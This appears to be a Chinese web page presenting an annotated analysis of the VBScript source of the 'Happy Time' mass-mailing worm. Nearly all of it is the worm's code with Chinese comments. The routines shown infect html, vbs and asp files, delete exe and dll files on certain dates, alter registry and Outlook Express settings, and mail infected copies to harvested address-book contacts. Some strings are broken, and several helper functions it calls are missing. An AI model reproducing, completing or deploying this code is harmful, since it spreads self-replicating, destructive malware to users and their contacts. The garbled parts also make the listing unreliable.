欢乐时光代码分析
五年级 记叙文 10589字 89人浏览 xiaoyanlh

欢乐时光代码分析

作者: billlai 整理日期:2004年6月15日

*************** 欢乐时光 ***************

Rem I am sorry! happy time

On Error Resume Next

Mload

' 以上为病毒入口,并加上I am sorry! happy time的注释,以表明此文件已被感染过。

Sub mload()

On Error Resume Next

mPath = Grf()

Set Os = CreateObject("Scriptlet.TypeLib")

Set Oh = CreateObject("Shell.Application")

' 建立枚举对象,避开了安全审核

If IsHTML Then

' 调用IsHtml 函数,如果是Html ,就小写„„

mURL = LCase(document.Location)

If mPath = "" Then

Os.Reset

Os.Path = "C:\Help.htm"

Os.Doc = Lhtml()

Os.Write()

' 如果mPath 为空,就在C 盘下生成Help.htm

Ihtml = ""

' 超文本的内容,并指向C:\Help.Htm

Call document.Body.insertAdjacentHTML("AfterBegin", Ihtml)

Else

If Iv(mPath, "Help.vbs") Then

setInterval "Rt()", 10000

Else

m = "hta"

If LCase(m) = Right(mURL, Len(m)) Then

id = setTimeout("mclose()", 1)

' 设置超时条件

main

Else

Os.Reset()

Os.Path = mPath & "\" & "Help.hta"

Os.Doc = Lhtml()

Os.write()

Iv mPath, "Help.hta"

' 生成Help.hta

End If

End If

End If

Else

Main

' 都不是,就执行main 函数

End If

End Sub

'****************************************************************** ' 以下为主函数,太长了!

Sub main()

On Error Resume Next

Set Of = CreateObject("Scripting.FileSystemObject")

' 不用说,创建FileSystemObject 对象啦

Set Od = CreateObject("Scripting.Dictionary")

' 创建Dictionary 对象, 用来保存数据键和项目对,它实际上是一个比较开放的数组 Od.Add "html", "1100"

Od.Add "vbs", "0100"

Od.Add "htm", "1100"

Od.Add "asp", "0010"

' 向Dictionary 对象添加要感染的项目对

Ks = "HKEY_CURRENT_USER\Software\"

' 使用变量以减少代码长度

Ds = Grf()

Cs = Gsf()

If IsVbs Then

' 如果是VBS

If Of.FileExists("C:\help.htm") Then

Of.DeleteFile ("C:\help.htm")

' 如果c:\help.htm存在,就删掉,消灭遗留的痕迹

End If

Key = CInt(Month(Date) + Day(Date))

If Key = 13 Then

' 如果月与日之和为13(这也是它变种多的原因——将13改为其他数字即可) Od.R emoveAll

Od.Add "exe", "0001"

Od.Add "dll", "0001"

' 就清空Dictionary 数组,并将exe 、dll 加入Dictionary 对象,以备删除之用 End If

Cn = Rg(Ks & "Help\Count")

' 读注册表中的HKEY_CURRENT_USER\Software\Help\Count键值

If Cn = "" Then

Cn = 1

' 如果Count 为0,就设为1

End If

Rw Ks & "Help\Count", Cn + 1

' 添加HKEY_CURRENT_USER\Software\Help\Count键值,值为2

f1 = Rg(Ks & "Help\FileName")

' 再读HKEY_CURRENT_USER\Software\Help\FileName键值 f2 = FNext(Of, Od, f1)

' 得到该文件的文件名

fext = GetExt(Of, Od, f2)

' 得到该文件扩展名的代号

Rw Ks & "Help\FileName", f2

' 添加键值

If IsDel(fext) Then

' 如果扩展名代号的第四个字符为1——即0001(exe、dll)

f3 = f2

' 储存文件名

f2 = FNext(Of, Od, f2)

' 得到文件的文件名?

Rw Ks & "Help\FileName", f2

' 写注册表

Of.DeleteFile f3

' 删除文件

Else

If LCase(WScript.ScriptFullname) <> LCase(f2) Then

' 如果不是集合中的文件

Fw Of, f2, fext

End If

End If

If (CInt(Cn) Mod 366) = 0 Then

If (CInt(Second(Time)) Mod 2) = 0 Then

' 使用 Cint 函数强制执行转换,并发邮件

Tsend

Else

adds = Og

Msend (adds)

End If

End If

wp = Rg("HKEY_CURRENT_USER\Control Panel\desktop\wallPaper") If Rg(Ks & "Help\wallPaper") <> wp Or wp = "" Then

' 比较桌面墙纸是否已改变

If wp = "" Then

n1 = ""

n3 = Cs & "\Help.htm"

Else

mP = Of.GetFile(wp).ParentFolder

n1 = Of.GetFileName(wp)

n2 = Of.GetBaseName(wp)

n3 = Cs & "\" & n2 & ".htm"

End If

Set pfc = Of.CreateTextFile(n3, True)

mt = Sa("1100")

' 创建超文本

pfc.Write "<" & "HTML><" & "body bgcolor='#007f7f' background='" & n1 & "'><

" & "/Body><" & "/HTML>" & mt

' 超文本的内容

pfc.Close

Rw Ks & "Help\wallPaper", n3

Rw "HKEY_CURRENT_USER\Control Panel\desktop\wallPaper", n3

' 将带毒的超文本设置成活动桌面

End If

Else

Set fc = Of.CreateTextFile(Ds & "\Help.vbs", True)

fc.Write Sa("0100")

' 创建vbs 文件

fc.Close

bf = Cs & "\Untitled.htm"

Set fc2 = Of.CreateTextFile(bf, True)

fc2.Write Lhtml

fc2.Close

' 创建windows 下的untitled.htm

oeid = Rg("HKEY_CURRENT_USER\Identities\Default User ID")

oe = "HKEY_CURRENT_USER\Identities\" & oeid & "\Software\Microsoft\Outlook E

xpress\5.0\Mail"

MSH = oe & "\Message Send HTML"

CUS = oe & "\Compose Use Stationery"

SN = oe & "\Stationery Name"

Rw MSH, 1

Rw CUS, 1

Rw SN, bf

' 在Hkey_Current_User\Identities \{AECF6CA3-9614-4AF4-AEF2-CT63FE9D97A4}\Software \Microsoft \Outlook Express \5.0\Mail 下添加三个键值Message Send HTML 、Compose Use Stationery 和Stationery Name ,前两个的值为1,后一个指向windows\untitled.htm

Web = Cs & "\WEB"

Set gf = Of.GetFolder(Web).Files

' 得到windows\web文件夹里的文件

Od.Add "htt", "1100"

' 向Dictionary 里添加htt 项目对

For Each m In gf

' 遍历windows\web下的每一个文件

fext = GetExt(Of, Od, m)

' 得到每个文件的扩展名

If fext <> "" Then

' 如果扩展名不为空,则

Fw Of, m, fext

End If

Next

End If

End Sub

'******************************************************************

Sub mclose()

document.Write "<" & "title>I am sorry!'写入I am sorry,并关闭。以此作为感染与否的标记 window.Close

End Sub

'****************************************************************** Sub Fw(Of, S, n)

' 此时S 为文件名,n 为文件扩展名

Dim fc, fc2, m, mmail, mt

On Error Resume Next

Set fc = Of.OpenTextFile(S, 1)

' 只读模式打开该文件

mt = fc.ReadAll

' 读入全部文件流

fc.Close

' 关闭文件

If Not Sc(mt) Then

' 如果未感染过

mmail = Ml(mt)

mt = Sa(n)

Set fc2 = Of.OpenTextFile(S, 8)

' 打开文件并在文件末尾进行写操作

fc2.Write mt

fc2.Close

Msend (mmail)

' 发带毒邮件

End If

End Sub

'****************************************************************** Function Sc(S)

mN = "Rem I am sorry! happy time"

If InStr(S, mN) > 0 Then

' 如果读入的文件流中有Rem I am sorry! happy time

Sc = True

Else

Sc = False

' 表示已感染过,返回True, 否则为False

End If

End Function

'****************************************************************** Function FNext(Of, Od, S)

Dim fpath, fname, fext, T, gf

On Error Resume Next

fname = ""

T = False

' 初始化变量

If Of.FileExists(S) Then

' 如果S 存在于当前文件夹中

fpath = Of.GetFile(S).ParentFolder

' 得到文件的父目录名

fname = S

' 得到文件名

ElseIf Of.FolderExists(S) Then

' 不存在于当前文件夹中,则得到目录名

fpath = S

T = True

Else

fpath = Dnext(Of, "")

' 得到当前盘符——即根目录

End If

Do While True

Set gf = Of.GetFolder(fpath).Files

' 得到当前目录下的所有文件对象

For Each m In gf

' 遍历每个文件

If T Then

If GetExt(Of, Od, m) <> "" Then

' 如果该文件是文件集合中的一员

FNext = m

' 则返回该文件名,供调用的函数或过程使用——感染或删除之

Exit Function

End If

ElseIf LCase(m) = LCase(fname) Or fname = "" Then

' 如果没文件

T = True

End If

Next

fpath = Pnext(Of, fpath) '

Loop

End Function

'****************************************************************** Function Pnext(Of, S)

On Error Resume Next

Dim Ppath, Npath, gp, pn, T, m

T = False

If Of.FolderExists(S) Then

' 如果如果指定的文件夹存在

Set gp = Of.GetFolder(S).SubFolders

' 就得到子目录数

pn = gp.Count

If pn = 0 Then

' 如果没子目录

Ppath = LCase(S) '

Npath = LCase(Of.GetParentFolderName(S))

' 得到父目录的小写形式

T = True

Else

Npath = LCase(S)

' 有子目录,得到其小写形式的集合

End If

Do While Not Er '

For Each pn In Of.GetFolder(Npath).SubFolders

' 得到子目录下的子目录

If T Then

If Ppath = LCase(pn) Then

T = False

End If

Else

Pnext = LCase(pn)

Exit Function

End If

Next

T = True

Ppath = LCase(Npath)

' 将字符串转化成小写

Npath = Of.GetParentFolderName(Npath) '

If Of.GetFolder(Ppath).IsRootFolder Then

' 如果是根目录

m = Of.GetDriveName(Ppath)

' 就得到分区符

Pnext = Dnext(Of, m)

Exit Function

End If

Loop

End If

End Function

'****************************************************************** Function Dnext(Of, S)

Dim dc, n, d, T, m

On Error Resume Next

T = False

m = ""

Set dc = Of.Drives

' 得到所有的驱动器盘符

For Each d In dc

' 遍历每个驱动器

If d.DriveType = 2 Or d.DriveType = 3 Then

' 如果是网络盘或本地盘

If T Then

Dnext = d

Exit Function

' 如果是False ,就返回当前盘,并退出本函数

Else

If LCase(S) = LCase(d) Then

' 如果是True 且盘符相同,就令T 为True

T = True

End If

If m = "" Then

' 如果m 为空,就将盘符付给m

m = d

End If

End If

End If

Next

Dnext = m

' 返回盘符

End Function

'****************************************************************** Function GetExt(Of, Od, S)

Dim fext

On Error Resume Next

fext = LCase(Of.GetExtensionName(S))

' 返回该文件扩展名的小写

GetExt = Od.Item(fext)

' 返回Dictionary 对象中指定的key 对应的item ——即0001(exe)等

End Function

'****************************************************************** Sub Rw(k, v)

' 写注册表

Dim R

On Error Resume Next

Set R = CreateObject("WScript.Shell")

' 创建对象

R.RegWrite k, v

End Sub

'****************************************************************** Function Rg(v)

' 读注册表

Dim R

On Error Resume Next

Set R = CreateObject("WScript.Shell")

' 创建对象

Rg = R.RegRead(v)

End Function

'******************************************************************

Function IsVbs()

' 此函数判断是不是VBS 文件

Dim ErrTest

On Error Resume Next

ErrTest = WScript.ScriptFullname

If Err Then

' 如果出错,则不是VBS

IsVbs = False

Else

IsVbs = True

End If

End Function

'****************************************************************** Function IsHTML()

' 此函数判断是不是Html 文件

Dim ErrTest

On Error Resume Next

ErrTest = document.Location

If Er Then

IsHTML = False

' 如果出错,则不是超文本

Else

IsHTML = True

End If

End Function

'****************************************************************** Function IsMail(S)

' 此函数判断是不是邮件地址

Dim m1, m2

IsMail = False

If InStr(S, vbCrLf) = 0 Then

' 返回vbCrLf 在S 中第一次出现的位置, vbCrLf是换行符

m1 = InStr(S, "@")

m2 = InStr(S, ".")

If m1 <> 0 And m1 < m2 Then

' 如果有“@”符号且“@”在“." 之前,则是邮件地址

IsMail = True

End If

End If

End Function

'****************************************************************** Function Gsf()

' 得到windows 目录

Dim Of, m

On Error Resume Next

Set Of = CreateObject("Scripting.FileSystemObject")

' 创建FileSystemObject 对象

m = Of.GetSpecialFolder(0)

' 得到特殊目录——Windows 、System 和Temp 目录

If Er Then

' 如果失败,返回C:\

Gsf = "C:\"

Else

' 若正常,则返回%Windows%

Gsf = m

End If

End Function

'******************************************************************

Function Lhtml()

' 写入超文本的内容,其中vbCrLf 是换行符

Lhtml = "<" & "HTML" & ">"<" & "Tit le> Help "<" & "Body> " & Lscript(Lvbs()) & vbCrLf & _ "<" & "/Body>End Function

'******************************************************************

Function Lscript(S)

' 写入vbscript 的声明

Lscript = "<" & "script language='VBScript'>" & vbCrLf & _

S & "<" & "/script" & ">"

End Function

'******************************************************************

Function Sl(S1, S2, n)

Dim l1, l2, l3, i

l1 = Len(S1)

' 得到文件流的长度

l2 = Len(S2)

' 得到mailto:的长度

i = InStr(S1, S2)

' 在文件流中查找mailto:第一次出现的位置——值为一个数

If i > 0 Then

' 找到则进行字符串操作

l3 = i + l2 - 1

If n = 0 Then

Sl = Left(S1, i - 1)

ElseIf n = 1 Then

Sl = Right(S1, l1 - l3)

End If

Else

Sl = ""

End If

End Function

'****************************************************************** Function Og()

' 得到WAB (通讯簿)中的邮件地址

Dim i, n, m(), Om, Oo

Set Oo = CreateObject("Outlook.Application")

' 创建Outlook 应用程序对象,Outlook 和Outlook Express都跑不掉啦! Set Om = Oo.GetNamespace("MAPI").GetDefaultFolder(10).Items

n = Om.Count

ReDim m(n)

For i = 1 To n

m(i - 1) = Om.Item(i).Email1Address

得到每个WAB 中的邮件地址

Next

Og = m

End Function

'****************************************************************** Sub Tsend()

' 发带毒邮件

Dim Od, MS, MM, a, m

Set Od = CreateObject("Scripting.Dictionary")

MConnect MS, MM

MM.FetchSorted = True

MM.Fetch

For i = 0 To MM.MsgCount - 1

MM.MsgIndex = i

a = MM.MsgOrigAddress

If Od.Item(a) = "" Then

Od.I tem(a) = MM.MsgSubject

End If

Next

For Each m In Od.Keys

MM.Compose

MM.MsgSubject = "Fw: " & Od.Item(m)

' 设置邮件标题

MM.RecipAddress = m

' 此邮件的当前的目标邮件地址

MM.AttachmentPathName = Gsf & "\Untitled.htm"

' 添加附件Windows\Untitled.htm

MM.Send

' 发送!

Next

MS.SignOff

End Sub

'******************************************************************

Function Er()

' 设置的错误陷阱,避免程序崩溃,严谨的风格值得学习

If Err.Number = 0 Then

Er = False

Else

Err .Clear

Er = True

End If

End Function

'****************************************************************** Function IsDel(S)

' 此函数查看当前文件是否是要删除的文件类型

If Mid(S, 4, 1) = 1 Then

' 看S 的第四个字符是否是1——即是0001(exe和dll)

IsDel = True

' 如是,返回True ,以备删除

Else

IsDel = False

' 如不是,返回False

End If

End Function

'******************************************************************